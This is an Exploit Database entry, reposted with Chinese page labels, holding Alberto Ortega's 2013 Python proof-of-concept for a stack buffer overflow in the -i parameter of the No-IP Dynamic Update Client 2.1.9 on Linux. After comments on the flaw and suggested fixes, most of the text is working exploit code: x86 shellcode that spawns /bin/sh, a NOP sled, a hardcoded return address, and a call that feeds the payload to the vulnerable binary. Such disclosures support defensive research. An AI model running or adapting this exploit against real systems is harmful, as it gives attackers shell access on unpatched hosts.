No-IP Dynamic Update Client (DUC) 2.1.9 – Local IP Address Stack Overflow

• Exploit Database
• 30 阅读

• 作者： Alberto Ortega
  日期： 2013-05-13
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/25411/

• #!/usr/bin/env python
  
  # Title:No-IP Dynamic Update Client (DUC) 2.1.9 local IPaddress stack overflow
  # Author: Alberto Ortega @a0rtega
  # alberto[@]pentbox[.]net
  # Date: May 11 2013 (vulnerability discovered)
  
  # Background:
  #
  # No-IP is probably the most used Dynamic DNS provider worldwide,
  # their Dynamic Update Client (DUC) is present by default in tons of
  # systems, software repositories and embedded devices.
  #
  # Description:
  #
  # To be easily portable, the client is written in C, with minimal
  # dependencies. So far so good, but the problem is, it is plagued of
  # buffer overflows.
  #
  # Vulnerability:
  #
  # This exploit covers a stack-based overflow present in -i
  # parameter, IPaddress variable name in source code.
  #
  # It is probably the most basic parameter, as this is the way to say
  # the client that our IP has changed.
  #
  # For the PoC we will use the Linux x86 client version 2.1.9:
  # https://www.noip.com/client/linux/noip-duc-linux.tar.gz
  # 3b0f5f2ff8637c73ab337be403252a60
  #
  # http://a0rtega.pentbox.net/partyhard/noip2iexploit.txt
  #
  # Solution:
  #
  # API: https://www.noip.com/integrate/
  #
  # If you are an embedded systems developer, you should write
  # your own implementation of the client.
  #
  # If you are a repository maintainer, the best solution may be
  # change the official client for another one.
  #
  # Compile the distributed binaries with some mitigations and
  # include them by default in Makefile would help too.
  
  import os
  
  binary = "./noip-2.1.9-1/binaries/noip2-i686"
  
  shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"\
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"\
  "\x80\xe8\xdc\xff\xff\xff/bin/sh"
  
  nop = "\x90"
  nop_slide = 296 - len(shellcode)
  
  # (gdb) print &IPaddress
  # $2 = (<data variable, no debug info> *) 0x80573bc
  eip_addr = "\xbc\x73\x05\x08"
  
  print "[*] Executing %s ..." % (binary)
  
  os.system("%s -i %s%s%s" % (binary, nop*nop_slide, shellcode, eip_addr))